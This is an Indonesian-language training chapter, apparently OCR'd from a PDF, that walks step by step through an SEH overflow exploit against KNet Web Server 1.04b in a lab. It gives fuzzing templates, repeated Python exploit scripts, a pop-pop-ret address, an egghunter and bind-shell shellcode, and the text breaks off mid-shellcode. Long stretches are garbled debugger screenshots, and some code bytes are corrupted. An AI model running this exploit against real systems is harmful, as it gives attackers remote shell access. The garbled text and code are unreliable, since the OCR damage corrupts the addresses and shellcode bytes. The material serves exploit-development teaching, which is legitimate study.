5.2.2. Eksploitasi SEH (Structured Exception Handler) pada KNet Web Server 1.04b
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Bagian ini membahas tentang teknik eksploitasi pada aplikasi vulner yang menggunakan mekanisme
structured exception handling. Peserta training akan diberikan contoh aplikasi vulnerable yang
menggunakan mekanisme SEH untuk dieksploitasi.

Arsitektur :

- Mesin penyerang dengan x86 Kali linux menggunakan alamat ip 10.200.0.5
- Mesin target dengan mesin x86 windows xp sp3 menggunakan alamat ip 10.200.0.120

SEH Overview

SEH adalah mekanisme yang menyediakan penanganan exception handling ketika error terjadi pada
saat aplikasi run time. Implementasi SEH adalah stack based linked list. Mekanisme SEH ini dapat
disediakan dari sistem operasi atau dari source code aplikasi.

Pada dasarnya mekanisme ini cukup sederhana. Sebelum SEH prolog: Stack berisi ukuran variabel
lokal yang dibutuhkan oleh pemanggil -> Stack: {8}

Setelah memanggil prolog -> alamat pengirim pemanggil didorong ke stack -> Stack: {8, RetAddr}
Pada saat exception occured, SEH akan berada di esp +8. Jadi pada dasarnya untuk keluar dari seh ke
nseh kita dapat menggunakan ROP gadget seperti: r32 pop -> r32 pop dan kemudian ret ( pop 4 byte
dari stack, pop berikutnya 4 byte dari stack dan kemudian ret).

Setelah berhasil keluar dari SEH kita akan berada pada NSEH di mana kita hanya memiliki 4 byte
buffer yang kita kontrol, pada point ini kita bisa menggunakan payload kedua berupa short jmp misal :
eb d0.

Fuzzing dengan Spike

Untuk mencari bug pada KNet Web Server 1.04b kita akan melakukan fuzzing dengan spike fuzzer.
Pada mesin kali linux, kita akan membuat template spike berikut ini :


http://www.ringlayer.net/

tml+xml,applicati

Selanjutnya attach knet dengan ollydbg lalu lakukan fuzzing dengan spike.
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Lakukan fuzzing dengan spike dari mesin kali linux :
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root@kali: /fusr/share/spikefaudits/httpd
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| root@kali: /usr/share/spike/audits/httpd | root@kali: fusr/share/spikefaudits/httpd
-/shar 20 80 httpd (
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Hasil fuzzing dengan template httpd.spk di atas akan menyebabkan crash pada knet, di mana kita bisa
melihat yang diuji adalah variabel length request nama file dengan metode http get.

Pada mesin windows kita bisa melihat knet crash dan SE Handler berhasil kita overwrite dengan
41414141.
Overwrite SE Handler

Untuk mencari berapa banyak byte yang dibutuhkan sebelum SEH Handler teroverwrite kita akan
menggunakan pattern_create.rb . Generate byte sepanjang 1300 byte dengan pattern_create.rb :



Applications Places

root@kali: /usr/share/spike/audits/httpd

File Edit View Search Terminal Tabs Help

Selanjutnya masukkan pattern tadi ke kerangka eksploit dasar pertama :

import socket

sploit
="Aa0AalAa2Aa3Aad4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5SAb6Ab7AB8ADIACOACIAC2Ac3Ac4ACSAC6ACTAc
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A07A08A09Ap0AP1Ap2Ap3Ap4AP5AP6AP7Ap8APIAqOAqIAG2Aq3Aq4Aq5Aq6Aq7Aq8AQIATOATTAT2ATr3AT4AT5A
r6Ar7Ar8 Ar9As0As1As2As3As4As5As6As7As8AsIALOALT A2 At3At4ALSAt6AL7AtBAt9AUOAulAu2Au3AudAuSAu6A
u7Au8AuSAv0AV1Av2AVv3AV4AVSAVEAV7 AvBAVIAWOAW]I Aw2 AW3AW4AWSAW6 Aw7 AWBAWIAX0AX1AXx2Ax3AX4AX5
Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9IAZ0AZ1AZ2Az3Az4A25A26Az7Az8Az9Ba0BalBa2Ba3Ba4Ba5
Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8BbIBc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5
Bd6Bd7Bd8Bd9Be0Be1Be2Be3Bed4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4ABf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6
Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8B
j9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9BI10BI1B12B13B14B15B16B17BI8BI9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8
Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9B0o0Bo1B02B03B04Bo5B0o6B07B0o8B0o9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp
8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9BrOBr1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9
Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0BulBu2Bu3Bu4Bu5Bu"

buffer="GET /" + sploit + " HTTP/1.1\r\n"

buffer+="Host: 10.200.0.120\r\n"

buffer+="Content-Type: application/x-www-form-urlencoded\r\n"

buffer+="User-Agent: Mozilla/5.0\r\n"

buffer+="Content-Length: 1048580\r\n\r\n"

s = socket.socket ( socket. AF_INET, socket. SOCK_STREAM )

s.connect(("10.200.0.120", 80))

s.send(buffer)

s.close()



Reattach knet dengan olly, lalu jalankan eksploit di atas, Pada saat crash kita bisa melihat SEH
teroverwrite dengan byte 6f42336f :
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Langkah selanjutnya adalah mencari offset keempat byte di atas dengan pattern_offset.rb :

root@kali: /usr/share/spike/audits/httpd
File Edit View Search Terminal Tabs Help

| root@kali: fusr/share/spike/audits/httpd

| root@kali: /usr/share/spike/audits/httpd
metasploit-fra /pattern_offset.rb 67

Berdasarkan pencarian dengan pattern_offset.rb SEH akan teroverwrite setelah 1210 bytes. Langkah



selanjutnya kita uji dengan kerangka eksploit kedua :

import socket

seh = "\x43\x42\x41\x40"

sploit = "\x90" * 1210 + seh

buffer="GET /" + sploit + " HTTP/1.1\r\n"

buffer+="Host: 10.200.0.120\r\n"

buffer+="Content-Type: application/x-www-form-urlencoded\r\n
buffer+="User-Agent: Mozilla/5.0\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"

s = socket.socket ( socket. AF_INET, socket. SOCK_STREAM )
s.connect(("10.200.0.120", 80))

s.send(buffer)

s.close()

Reattach knet dengan olly dan kita bisa melihat kita berhasil mengoverwrite SEH Handler dengan byte

40414243

SEH ke NSEH

Langkah selanjutnya setelah mengoverwrite SEH handler adalah keluar dari SEH ke NSEH. Begitu
banyak payload yang bisa kita gunakan, tapi kali ini kita akan menggunakan payload paling populer

yaitu menggunakan instruksi pop pop ret.

Untuk mencari sequence instruksi pop pop ret yang bisa kita pakai, kita akan menggunakan plugin

safeseh module scanner di olly.
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Dari hasil scanning kita bisa melihat bahwa instruksi pop pop ret pada Knet.exe bisa kita manfaatkan.

Selanjutnya cari sequence instruksi pop pop ret pada knet.exe dengan olly :
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agdaiaid|| . &R @ PUSH i
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agdaiEic|| . ER ETREEGEE | CALL KMet.DBda1nssd pop 132 R
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AEdG1E40| . &5 POOFGOEE | PUSH GFRG +BE, M5, PE

ShdGi0cc| o BB 5450088 | CALL C.MP.EKERNELSZ.HeanC 5 oaaaasas
. . «Heaplreate mt ! 1 ' ! !

SG4niEEC| | B3 ACSE41BB | AOU DWORD ETE DS:idiSeani. ER Hint: 'RA' and 'REB' match R32, ‘AN n' matches 0..n commands EESSSS%E

AE4E1E61| . ES 22C6BEEE | CALL KMet.BB480650 . = 189714519

AE4E1E66 . ES SEC2BEEE | CALL KMet.BB4B0389 Iv Entire block Find Cancel BEmEG] S

AE46186E| . ES 10BFBEEE | CALL KMet.BB48CFSE BRBEREET

B a3 T e e
. et

G040167A| » ES C195G008 | GALL KHet.Bodanedn | e ey SRR (2 e

AE4a167F| . ES EASEEGEEE | CALL KMet.PR4ESCEE FST @BEE Cond A B B 8 Erc B

A84@524C=<JHP . LKERMELZ2. GetModu leHand LeR > FClWl B27F Prec MEAR,53 HMazk

{Met.<{Modu leEntruPoint >+2

Address |Hex dump ASCII " HESEFASE

IMGOrEBE| FF FF FF FF| 00 00 0D G0] 00 00 B0 O8] 41 72 63 61| .esecs.. Ar L= e o te=res

AGIEFELA|6C BE 41 72|69 61 6C 2842 6C 61 63|6B 8@ 4B 4E| l.Arial Black.KN GhioFiea| adarFhal RETURN to KNet.BB4GCFT

IE4EFEZE| 65 74 BE 46|63 &0 65 BB 4F TA &5 SE|B0 43 &C 6F|et.File.Open.Clo So15FiEs| emisFRIe ® iz

AE4EFESE| 73 65 B0 45|73 69 F4 B8 43 6F &E &E|65 63 74 £9|se.Exit.Connecti So1oFars| SRGGFAEE

AEdFE4E| 6F 6E 73 @0[41 &4 64 T2 65 TE vE 0@/ 47 &5 74 20| aons.Pddress.Get GhioFara| Peaiapss|ntdl L. Tralazas

IE4EFECE|E5 B2 4C @0|4C &F &7 B8 40 6F &7 20|72 &5 71 75|URL.Loa.Log requ Go15Fara| maiseres|"

IE4EFEEE| 65 TE T4 To|@E 43 65 6C) 79 BB 41 62| &F 7S T4 98| ests.Help.bbout. Go15Fare| emBRaann

IE4EFETE| B 65 &F 7r|@EB 4F 78 65| SE 2@ 53 &5|7E 76 &5 72| Show.Open Seruver oo Meni e

IEAEFESE| B 43 EC EF| 73 65 28 5365 T2 76 &5|VE B0 5F 5| .Close Server.Se aeseand]| kel

IE4EFE9E| 74 7S 7O @[ 4E &1 &0 65| 5A 0@ 00 4E|(&1 &0 &5 28| tup.Mame:..Hame aEEan]| S| SR

AE4EFENE| 79 6F VS 72|28 73 &5 T2 76 65 72 ZE|90 5O EF 72| vour server..For EEEns]| T | oD e

aadarans| 74 37 00 53|85 &5 65 o3 74 28 74 53|65 20 7 oF|v:.Seleot the po Boioraeal poeeerel Ol

Selajutnya kita bisa menemukan sequence instruksi pop pop ret pada knet.exe pada alamat memori :

004016e1



OllyDbg - KNet.exe - [CPU - main thread, module KNek] =1&l2
@ File ‘iew Debug Plugins ©Options ‘Window Help =181z
L ;l 1} eas :: HEN
Bl x| w{n] Wi+ ¥4 4 - LlE|M[T|W/H|c|/|K[B|R[..|8] iE[E]?]
: FOF ECX
BE4EIEER| . BB PO EEH EEE‘;;E;;SQEPU]
BRadleEs) . L3 ECY BEEEEHEEA
D0OOIoEd| SVES acoioen | P KNew.De401825 _ e Besamncs
BE4ELEES| s 53 PUSH EEX EB FERFFFRF
eadaicenl] - 51 FUSH ECH A Rninadas
eadaleEe| | - 65 FUSH EEF b CEatr
Bodolecn|| : €3 POSH Eot ESI Do3aFFdC
fa4o1cEE|| - B5 26Fm4BEE | PUSH Khet.nmdBrass RSCIT "Connections" BN GEREEEEE RS s
SS:S{EEE . gg ?gg?gggg EHEH ?E;ggaaa EIF T3D9E&8A CRTOLL.V309ELSA
eaqalerD|| - 68 Azel@eed |PUSH 1A2 B & B8 P ke Eaaaasn
gadoiroz|| - 65 SCooeeem | PUSH SC AR ER e RS EiAAAnanasy
oodolror|| 1 68 SEGimens | PUSH 198 3 B o et Enannaant
gaaglrac| | . BS dz@o@Eea | MO E S @ FS @P3E 32bit FFFOFB@E!FFF
oodoi7ii|| ES 6CA1BEDD | CALL KNet +2p40BE82 28 B e S
fintois|| 1 ErEd Frosooes b Kher: Beamisin oo
o E’l‘..
Ga4niviE|| - 62 peERRBAEE | EUSH [f:c! = oogsacan DE Lepdasy ERAU=ATEEESS (EE
cocolrad| L ES savvERER | CHLL Kiet.0460EEE KMet . BA4EIEEE EFL @EE1GZE7 (MO, E, NE,EE, NS, FE,
. STA empty +UNORM LFE6 DREEAZEZ
ga4alr2a|l . 68 BEAGREEA | PUSH 8 ST1 emptu +UMORM 45E@ aaaaaa1a
aadoi7zE|| - 65 goooeeen | PUSH Z@ Z13 Enpra +UMORM 10GE DOBHHHSE
ggigi;gg . Eg ggg?gggg EEELEEﬁ 2 573 empty 2. 2EE7PE741E1597 146190
. =t . BE48EEER ST4 empty +UNORM B137 GEOEE137
fnenioae|| T BE eosmmemm | ERL CONP.GUSERSE. Send Ay Send A S D (IO ). (el
Goanivas|| - ES ASALOEDD | CALL Khet.@adogzra oo Fressass a3 cr=ed Sl AR SR 13
Badairac| | 1 ES A39GEE00 | CALL ENet.Bo46ATFE = ST7 empty +UNORM D24 DREBODEN
gadaivan|] © 2ice AND_ER:, EAY FST GEAR Cond B B @ B Ecc 6 8
FCWl B27F Prec MEAR,53 Hazk
Address |Hew dump HSCIIT " BEOEFASE ]
BEAOFEEE| FE FF FF FE) 00 00 00 5] 00 00 60 08 41 rZ 67 61 AP =Ty e R =
BE4EFA16| 60 BB 41 72 62 61 6C 26|42 6C 61 63| 6B 6@ 4B 4E| L.Arial Black.KH e |
EE4EFEZE| 65 P4 B9 45 62 6C 65 BO|4F 7@ 65 6E O3 43 6C GF|et.File.Open.Clo Adaras| B ® e
GE4OFE3A| 73 65 09 45 75 69 74 00|43 6F 6E 6E| 65 63 74 67| ce.Enit.Connect i e EREaEs
BE4EFEE| 6F 6E 73 O3 41 64 64 72|65 73 73 08 47 65 74 28| on:.Address.Get | 2 201G R
GE4EFESE| 55 52 4C 08 4C 6F 67 @8] 40 6F 67 28| 72 65 71 75| URL.Log.Log reou Ao e
BE4EFEEA| 65 T3 74 73 OO 42 65 EC| 78 BB 41 B2 &F 75 74 BE|ests.Help.Obout. AT | SR
@E4EFETE| 53 68 GF 77 @@ 4F 7@ GE|GE 28 53 65 72 76 65 72| Show.Open Server pbaneny| B
GE4OFESH| B0 43 60 6F 73 65 20 3|65 72 TE 65 72 @8 GE 65| .Close Server.Se e e
BE4EFA9G| 74 75 7@ 0@ 4E 61 60 65| 3A B8 B 4E 61 60 65 28| tup.Mame: . .MHame | =002 |
GE4EFEAG| 79 6F VS 72 2@ 73 65 2|7 65 72 ZE @8 SO 6F 72| wour server..Por Aara| s el ot
) 5ty 2 B0 B (38 G (99 G |ph ) B GEled ) o) G| BactiElees die @ BO1ZFAEG| BOFFERFF|

Selanjutnya kita racik eksploit kedua :

import socket

seh = "\xe1\x16\x40"

sploit = "\x90" * 1210 + seh

buffer="GET /" + sploit + " HTTP/1.1\r\n"

buffer+="Host: 10.200.0.120\r\n"

buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/5.0\r\n"
buffer+="Content-Length: 1048580\r\n\r\n"

print len(sploit)

s = socket.socket ( socket. AF_INET, socket. SOCK_STREAM )
s.connect(("10.200.0.120", 80))

s.send(buffer)

s.close()

Selanjutnya reattach knet dengan olly dan tempatkan break point pada 004016el, lalu jalankan
kerangka exploit di atas. Pada saat error tekan shift + f9 dan kita akan dibawa ke instruksi pop pop ret
pada 004016el :



OllyDbg - KNet.exe - [CPU - main thread, module KNek] - |5’ |_
@ File Wiew Debug Plugins Options  Window Help -|E’|_
oo EEE
B4 x| w|n| i+ 1Y 2] +f L|E[mM[T|W/H|c|/|E|B|R|..|8] iZ[H?]
. 9 FOF ECA
T RETH BAIZREeE EE&IS;SESBEEPU]
BE401EES| ES SCELBEEE | JHE Khet.B0481525 [ e (e
AE4A1EES| M5 52 PUSH EBX o B
maaaicen|| - 5t PUSH ECH F ERREE
madaicER|| - S5 PUSH EEF Eorlonioreah
madaicEC|| - S PUSH ESI 4 Ehe
madaicED|| - 57 PUSH EOI 23 R
poaaleer | . c8 ssrpdaen | PUSH Kiler. aa4oFoss ASCIT ™Connect ions'™
Apsolcrs|| L e8 popisEs | PUSH BC3nbog EIP BE4G16E2 KHet,@B4B16E2
oeeaaieFD|| - &8 AZBiB@@R | PUSH 1AZ B0 58 Egens dadaaang
oadaivez|| . &% SCEEEREE |PUSH 4C A B St AEss Sebit BiFFFEFFFF)
BE4aiver|| . &8 SEBiEEEE | PUSH 198 J 1 B2 8953 G50t BIFERFFREF
padaivoc|| . BS G2peseEm | mOU EAR, = 2 h R EEehs Sy
GGd461711|| -« ES SCOLGAGA | CALL KMet.@@d4eEscs 8 R S
faaiors | vatee Fronaaes) b Kies: Bads1810 g
. =t .
GedniviE|| o &5 GoEEEGEE | FUSH fral = GEEEEEGE D0 Lesianm UL
poeoives)|. Es ssvreoen | CALL EH§t.BB4BSED§ KHet . BO4RSERE EFL REAEE246 (MO,ME,E,BE, NS, PE
. STE empty +UNORM 1FSH AEAGHAEEE
e || g8 Hadeda | B 5T1 empty +UNORM 22B5 AOAGEE1A
Ge4pivas|| . BB G2PEREEE | MOU ERX,2 Sz Goiim SR el [l
e || o B8 ML |, Bt 573 empty 1.111214B57511124245
; allsE 5T4 empty +UNORM 110 BEGEA1IA
| o 22 e Sl e STE emptu -UNORH EPDE GOGAAHGHY
Gl b ommn (o g (L SRR
. o
S| B ST sttt AR 5 i
: FST @E8E Cond @ @ 6 B Erc @
Stack [BAIZFESII=ORIZrCos (BR12FCas)
Stack Lol FCW B27F Frec HEAR,53 Hask
Address |Hed dump ASCIT - A1 2F L3S
BO4EFE0E| FE FF FF FF| 00 OO G0 05 00 06 68 08|41 72 69 61 weseeielACLa e (et oER e g
BE4EFE16| 6C B8 41 72|63 61 6C 20| 42 6C 61 &3[6B @8 4B 4E| L.Acial Black.kH e e SR
AA4EFEZE| 65 74 BE 46| 63 GC 65 @A 4F 78 65 AE[BE 43 &C &F|et.File.Open.Clo e O 2 S | P .
AA4AFAZA| 73 65 B 45| 78 69 74 B 42 6F 6E &E[6S 63 74 69| se.Exit.Connecti BRiSFEce| PeaGEREe SELR Egl ® b re
AA4EFA4E| 6F SE 72 BB 41 &4 &4 72|65 72 73 @A[47 &5 74 20| ons.Address.Get ARiSFBeC| GB1SEFES Sl=lliohs
BE4EFESE| 55 S 4L @6 40 6F &7 @@\ 40 6F &7 28|72 &5 r1 7S|URL.Log.Log requ Ay | A
BE4OFEEE| £S5 73 74 72/ B0 43 65 &C| 7@ B8 41 &2[6F 75 74 08| ests.Help. Obout. A R e e el SRR
BO4OFE7R| 53 68 6F 77|00 4F 70 65| 6E 28 53 65|72 76 &5 v2|Show.Open Server R A || et °n . z
BO4GFGI6| B3 43 60 6F| 73 65 26 53 65 72 76 GE|72 BE 53 £E|.Clote Server.Se o 1eRbi | fead 2k 38
HE4EFE9E| 74 75 70 BB 4E 61 60 65| 3 B8 BA 4E[61 60 A5 26| tup.Mame:..Mane oo REE |feal2ERES
o EEY R RIS B R s me|mias
BB o Tt
FRAAFACH| 25 54 R BR|BF 5 TR DA|KE T PE SR8 AR PE Pl rn Fom aein eseo 881=FES3|| 684@16E1 | KMNet. BB4B16EL

Terlihat dari tampilan di atas, eksekusi berhasil diarahkan ke sequence pop pop ret kita. Tekan {7
sampai kita berada di NSEH :



OllyDbg - KNet.exe - [CPU - main thread]

@ File Wiew Debug Plugins Options  Windaow  Help

S x| wju] v ¥1 4| +f LIEM|T|WH|C|/|K|B|R|.|s| =i

BE1Z2FFEL| 2@ HOP L=
BE1Z2FFEZ 2 HOP

BE1Z2FFEZ 92 HOP

BE1ZFFE4|~E1 a8 LOOFDE SHORT e812FFFC

BE12FFES| 48 IMC ER=

HE1ZFFEY| BBSE Ya3lvCeaa ROD BYTE PTR D3: [ERR+7CE17EI1,HL
BE1ZFFED| BBEEE AOD BYTE PTR DS:[ER=],. AL
BE1ZFFEF| BBEEG AOD BYTE PTR DS:[ERAX]. AL
BE1ZFFF1| BEEG AOD BYTE PTR DS:[ERR], AL
BE1ZFFF2| BE06 ADD BYTE PTR DS:[ERRX],AL
BE12ZFFFE| BE06 ADD BYTE PTR DS:[ERXI, AL
BE1ZFFFY| 2000 ADD BYTE PTR DZ:[ERR], AL
AE1ZFFFS| 18468 88 ROC BYTE PTR D3:[ERR]1.AL
BE1ZFFFC| BEEE ROD BYTE PTR DS:[ERR],HL
BE1ZFFFE| BBEOEG AODD BYTE PTR DS:[EARXI,AL

4|

Terlihat kita memiliki 4 byte buffer yang bisa kita kontrol.

Payload Kedua, EggHunter dan Shellcode Sesungguhnya

Setelah berada di nseh, kita perlu menggunakan payload kedua, di sini kita akan menggunakan eb d0
untuk mendapatkan sekian puluh byte buffer lagi yang bisa kita kontrol, di mana sekian puluh byte tadi
akan kita gunakan untuk menaruh egghunter shellcode. Egghunter shellcode berukuran kecil dan biasa
digunakan saat buffer yang sedang dikontrol tidak cukup untuk menaruh shellcode yang lebih besar.
Egghunter shellcode berguna untuk mencari marker di memori yang umumnya kita taruh sebelum
shellcode sesungguhnya, dengan cara mencari marker tersebut egghunter akan secara otomatis mencari
marker di memori sebelum shellcode kita yang sesungguhnya, setelah ditemukan maka eksekusi akan
diarahkan ke alamat memori marker tersebut, yang selanjutnya akan diikuti dengan eksekusi shellcode.

Selanjutnya modifikasi kerangka eksploit dan gunakan second stage payload :

import socket

seh = "\xe1\x16\x40"

nseh = "\xeb\xd0\x90\x90"

sploit = "\x90" * 1206 + nseh + seh

buffer="GET /" + sploit + " HTTP/1.1\r\n"

buffer+="Host: 10.200.0.120\r\n"

buffer+="Content-Type: application/x-www-form-urlencoded\r\n"



buffer+="User-Agent: Mozilla/5.0\r\n"

buffer+="Content-Length: 1048580\r\n\r\n"
s = socket.socket ( socket. AF_INET, socket. SOCK_STREAM )
s.connect(("10.200.0.120", 80))
s.send(buffer)
s.close()

Selanjutnya reattach dengan olly dan pasang break point di 004016el, lalu jalankan eksploit. Saat
terjadi crash, tekan shift + f9 lalu anda akan dibawa ke sequence pop pop ret pada 004016el,
selanjutnya tekan f7 hingga eksekusi sampai pada payload kedua kita :

DllyDbg - KNet.exe - [CPU - main thread] ;[ilﬂ
|§| File Yiew Debug Plugins Cptions ‘Window Help - 5] x|
T e . =T
x| win| ui4 34 +f LjE[M[T|WH|c|s[K|[B[R|..|5] i ?]
~EEB DB JHF SHORT BE1ZFFEZ ;
BE1ZFFEZ| 9@ HOP - Egg‘;g;ggaggp”]
BB12FFES) 20 et ECH 7CO9BZ2AS ntdl L. 7CIEZ2AS
BE1ZFFE4| vE1 16 LOOPODE SHORT @E12FFFC B fConashe nedll Sedgashn
BE12FFES| 4@ IHC ERY Efn EaiSEeas :
AR1ZFFE?| @@g@ 7ESi7CAE | ADD BYTE PTR OS:[ERX+7TCE17@1,AL ESF maiZFEED
GE1ZFFED| B@@E ADD ENTE PTR OS:[EA®I, AL EBP GRiSFEoE
HE1ZFFEF| B@@a ADD EYTE PTR DS:LEA®I.AL ESl BeBaanms
BR1ZFFF1| B@aa ADD EYTE PTR DO5:LEA®I, AL EDl maoaamas
BE12FFF2| B@aa ADD EYTE PTR DOS:L[EAXI, AL
il o Toe o sy
BE1ZFFFS| 1040 B8 AODC EYTE FTR DSt CEAXT, AL B0 B2 RS Eeas Alasdaana
HE1ZFFFC| D@ ADD EYTE PTR DOS:LEA®]. AL A& St pess S5bit BFFFFFFFF)
GE1ZFFFE| @@ ADD EYTE PTR DS:LEA®], AL 2% B2 855D ZEEIT ZiFFFEFFFR)
S 6 FS BE3E 32bit PFFOFBEGIFFF)
Tg &S oose HULL
0 8 LastErr ERROR_FILEMAME_EXCE
% EFL BE@@@az4s (MO,NE,E,EBE,MS,PE, &
STE empty +UMORH 1FSE GEGEEE0E o
ST1 empty +UMORM 2DAS BEGEGE1E @
572 empty +UMORH 1PBA HEREEAEE F
ST3 empty 2. 20E7E7TEEEE2EC4037 90
5T4 empty +UHORM DB01 BeGec&Dl o
ST5 empty +UMORH 1708 DEGEEEGS 5
STE empty —-HAN FFFF 211A9828 FFE
A 5T7 empty +UNDRHM G863 COERCEGE
- 321m E S
FST 0ABA Cond B G @ @ Err O B
FCW B27F FPrec MEAR,53 Haszk
Address |Hex dump ASCIT Ba1zFCo4 -
BE4EFGED| FF FF FF FF| G0 G0 00 OO 00 60 65 06 41 72 62 61 rarese.fCia T e e o —
BR4EFO10| 60 BO 41 72|69 61 &C 20|42 6C 61 &2 6B B8 4B 4E| L.Arial Black.KN BA1SFEcn| FroEaoBr SE‘R E’gl © W& re
AR4AFOZ0| 65 74 B9 46|63 &6C 65 @0| 4F 7O 65 EE|BA 43 6C 6F|et.File.Open.Clo RA1SFECE| BB1SEFER EWEIIEE
BR4EFE3E| 73 65 GF 45|78 &9 74 G| 43 6F &E EE|65 &3 74 69| se.Enit.Connect i R | R
ep4oFa4E| 6F 6E v ©@|41 64 &4 72|65 73 73 BA|47 65 P4 28| ons.Address.Get e g L b N ——
BR4BFESE| 55 52 4C @A\ 40 &F 67 @8] 4C 6F 67 28|72 65 71 ¢S URL.Log.Log requ pe || A on . =
BR4BFEEE| £S5 73 74 73|B0 43 65 60 7@ 0@ 41 £2[&6F PE 74 0O ests.Help. About. || b=
BR4BFETE| 53 65 6F vr| B0 4F 7@ 65| 6E £@ 53 £5[72 76 65 vZ|Show.Open Server || e
B04BFB5E| B8 43 6C 6F| 73 65 2@ 53|65 72 76 65|72 B8 53 65| .Close Server.Se Rl || R
BR4BFE9E| 74 75 70 0@|4E &1 60 65| 30 8@ @8 4E[61 &0 £S5 2| fup.Hame: . .Hame e || RS | oo, crosmnem
BR4BFBAE| 79 6F 7S 72|20 73 65 72| 7’6 65 r2 ZE[B@ S8 EF vZ|vour seruer..For el || Ry e
BE4BFBES| 74 3A @9 53|65 60 65 63| r4 20 rd 6565 28 7O 6F|t:.5elect the po R || EREERER
BB4BFECE| 72 74 28 €6|6F 72 28 79| E&F 75 £2 20|73 65 72 76|rt for wour serw Rl || R
BR4BFE0E| 65 72 ZE B@| S8 61 73 73| °f 6F r2 64[3A 68 56 vZ|er..Password:.Pr aoiorpan|| Sosohenn| RETURN to ntdl L. 7eozaalll
BR4BFBED| 65 76 65 GE| 74 28 61 63|63 62 &4 65|6E 74 61 6| event accidental REERE|| AoEa on .
BR4BFOFE| 28 63 &C EF| 73 75 72 65| 2E BQ 57 £5[6F @8 33 36| closwre..beb, 3@ = | B | s =
BR4BF 16| B0 54 79 7A| 65 SR BE 53 P4 &1 4 7[00 40 61 73| . Tupe:.Stats.las HegEl HEO0Ss
|F'aused
itfﬁtartl B Command Prompt | o ENet II* OllyDbg - KNet.exe - [... [z | FEFTFMOPED 10:18aMm

Perhatikan payload kedua merupakan short jmp eb dO , jika kita tekan f7 maka eksekusi program akan
diarahkan ke sekian puluh byte yang kita kontrol.

Langkah selanjutnya kita akan menggunakan egghunter dari oxff :

http://www.exploit-db.com/exploits/16283/



Untuk Egghunter di atas, kita akan menggunakan marker w00t , berikut ini adalah egghunter yang akan
kita pakai sebesar 32 byte :

#32 bytes
egghunter="\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x 74\xef\xb8\x 54\x30\x 30\
x57\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Sebelumnya kita memiliki buffer total sebesar 1213 bytes (ovedrwrite 3 byte SEH). Kurang lebih
payload yang akan kita buat sebagai berikut :

sploit = nop1 + shellcode + nop2 + egghunter + nop3 + nseh + seh
di mana sploit harus sebesar 1213 byte. Di mana shellcode yang akan kita gunakan akan kita ambil dari

http://www.exploit-db.com/exploits/24897/ yang merupakan shellcode bind port 4444 yang akan kita
ambil dari exploit myo soe.

Nop1 berukuran 585 bytes

Shellcode berukuran 376 bytes

nop2 berukuran 209 byte

egghunter berukuran 32 byte

Nop3 sebagai padding berukuran 4 byte
NSEH berukuran 4 bytes

dan SEH 3 bytes.

Total panjang adalah 1213 bytes.

Siapkan kerangka exploit akhir :

#knet web server 1.04b SEH bof exploit with egghunter
#made by : Antonius

#http://www.crOsecurity.com

#http://www.ringlayer.net

#http://indonesianbacktrack.or.id

import socket, os, time

#344 Byte Bind Shell TCP/4444

#taken from myo soe shellcode http://www.exploit-db.com/exploits/24897/
shellcode = ("TOOWTOOW" +"\xbd\x0e\x27\x05\xab\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x6a\x0f\x03\x6a\x01\xc5\xf0\x57" +
"\xf5\x80\xfb\xa7\x05\xf3\x 72\x42\x34\x21\xe0\x06\x64\xf5" +
"\x62\x4a\x84\x7e\x26\x7f\x1f\xf2\xef\x70\xa8\xb9\xc9\xbf" +
"\x29\x0c\xd6\x6c\xe9\x0e\xaa\x6e\x3d\xf1\x93\xa0\x30\xf0" +
"\xd4\xdd\xba\xa0\x8d\xaa\x68\x55\xb9\xef\xb0\x54\x6d\x64" +
"\x88\x2e\x08\xbb\x7c\x85\x 13\xec\x2c\x92\x5c\x14\x47\xfc" +
"\x7c\x25\x84\x1e\x40\x6c\xa1\xd5\x32\x6f\x63\x24\xba\x41" +
"\x4b\xeb\x85\x6d\x46\xf5\xc2\x4a\xb8\x80\x38\xa9\x45\x93" +


http://indonesianbacktrack.or.id/
http://www.ringlayer.net/
http://www.cr0security.com/
http://www.exploit-db.com/exploits/24897/

"\xfa\xd3\x91\x16\x1f\x73\x52\x80\xfb\x85\xb7\x57\x8f\x8a" +

"\x7c\x13\xd7\x8e\x83\xf0\x63\xaa\x08\xf7\xa3\x3a\x4a\xdc" +

"\x67\x66\x09\x7d\x31\xc2\xfc\x82\x21\xaa\xal\x26\x29\x59" +
"\xb6\x51\x70\x36\x7b\x6c\x8b\xc6\x13\xe7\xf8\xf4\xbc\x53" +
"\x97\xb4\x35\x7a\x60\xba\x6c\x3a\xfe\x45\x8e\x3b\xd6\x81" +
"\xda\x6b\x40\x23\x62\xe0\x90\xcc\xb7\xa7\xc0\x62\x67\x08" +
"\xb1\xc2\xd7\xe0\xdb\xcc\x08\x10\xe4\x06\x3f\x16\x2a\x 72" +
"\x6c\xf1\x4f\x84\x83\x5d\xd9\x62\xc9\x4d\x8\x3d\x65\xac" +

